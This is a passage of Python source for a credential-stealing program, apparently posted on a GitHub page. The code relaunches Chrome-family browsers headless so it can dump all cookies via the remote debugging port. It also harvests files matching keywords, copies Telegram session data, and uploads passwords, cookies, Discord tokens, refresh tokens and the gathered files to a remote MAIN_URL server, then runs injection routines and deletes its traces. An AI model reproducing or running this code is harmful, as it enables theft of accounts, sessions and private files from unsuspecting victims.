token_data["global_name"], "email": token_data["email"],\n "phone": phone_number})\n TOKENCOUNT = TOKENCOUNT+1\n except:\n pass\n\n\nfor browser in CHROME_PATHS:\n if os.path.exists(browser["path"]):\n try:\n taskkill(browser["taskname"])\n strtcmd = f\'"{browser["exepath"]}" --headless --remote-debugging-port=9222 --remote-allow-origins=* --user-data-dir="{browser["path"]}"\'\n subprocess.Popen(strtcmd, creationflags=subprocess.CREATE_NEW_CONSOLE, close_fds=True)\n targets = requests.get("http://localhost:9222/json").json()\n ws_url = targets[0]["webSocketDebuggerUrl"]\n ws = websocket.create_connection(ws_url)\n payload = {\n "id": 1,\n "method": "Network.getAllCookies"\n }\n ws.send(json.dumps(payload))\n cookie_str = ""\n for cookie in json.loads(ws.recv())["result"]["cookies"]:\n cookie_str += f"{cookie[\'domain\']}\\tTRUE\\t/\\tFALSE\\t13355861278849698\\t{cookie[\'name\']}\\t{cookie[\'value\']}\\n"\n COOKIECOUNT = COOKIECOUNT+1\n COOKIES.append({"browser": browser["name"], "profile": "Default", "cookies": base64.b64encode(cookie_str.encode()).decode()})\n ws.close()\n taskkill(browser["taskname"])\n except: pass\n\nfor path in PATHS_TO_SEARCH:\n for root, _, files in os.walk(path):\n for file_name in files:\n for keyword in FILE_KEYWORDS:\n if keyword in file_name.lower():\n for extension in ALLOWED_EXTENSIONS:\n if file_name.endswith(extension):\n try:\n realpath = os.path.join(root, file_name)\n if os.path.isfile(realpath):\n shutil.copy(realpath, STORAGE_PATH)\n else:\n zip_to_storage(realpath, STORAGE_PATH)\n except:\n pass\n\ndef telegram():\n try:\n kill_process("Telegram.exe")\n except:\n pass\n source_path = os.path.join(APPDATA, "Telegram Desktop", "tdata")\n \n if os.path.exists(source_path):\n zip_to_storage("tdata_session", source_path, STORAGE_PATH)\n\ntry:\n telegram()\nexcept:\n pass\n\ndef create_log():\n for i in range(10):\n payload = {\n "passwordcount": len(PASSWORDS),\n "cookiecount": COOKIECOUNT,\n "discordtokencount": len(DISCORD_TOKENS),\n "filenames": FILES,\n }\n headers = {"X-User-Identifier": userid, "Content-Type": "application/json"}\n\n try:\n r = requests.post(MAIN_URL + "/create_log", json=payload, headers=headers)\n if r.status_code == 200:\n return r.json()["log_uuid"]\n else:\n continue\n except:\n continue\n\n return ""\n\ndef upload_data(loguuid):\n payload = {\n "passwords": PASSWORDS,\n "cookies": COOKIES,\n "discord_tokens": DISCORD_TOKENS,\n "refresh_tokens": WEB_DATA\n }\n headers = {"X-Trace-ID": loguuid, "Content-Type": "application/json"}\n requests.post(MAIN_URL + "/log_data", json=payload, headers=headers)\n\ndef upload_files(filepath, loguuid):\n url = MAIN_URL + "/log_files"\n\n files = {\'file\': open(filepath, \'rb\')}\n headers = {"X-Trace-ID": loguuid}\n requests.post(url, files=files, headers = headers)\n\nfor file_to_upload in os.listdir(STORAGE_PATH):\n FILES.append(file_to_upload)\n\ntry:\n loguuid = create_log()\n upload_data(loguuid)\n for file_to_upload in os.listdir(STORAGE_PATH):\n upload_files(os.path.join(STORAGE_PATH, file_to_upload), loguuid)\nexcept: pass\n\nfor i in range(2):\n try:\n inject(loguuid)\n inject_atomic(loguuid)\n break\n except: pass\n\ntry:\n os.removedirs(STORAGE_PATH)\nexcept: pass'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment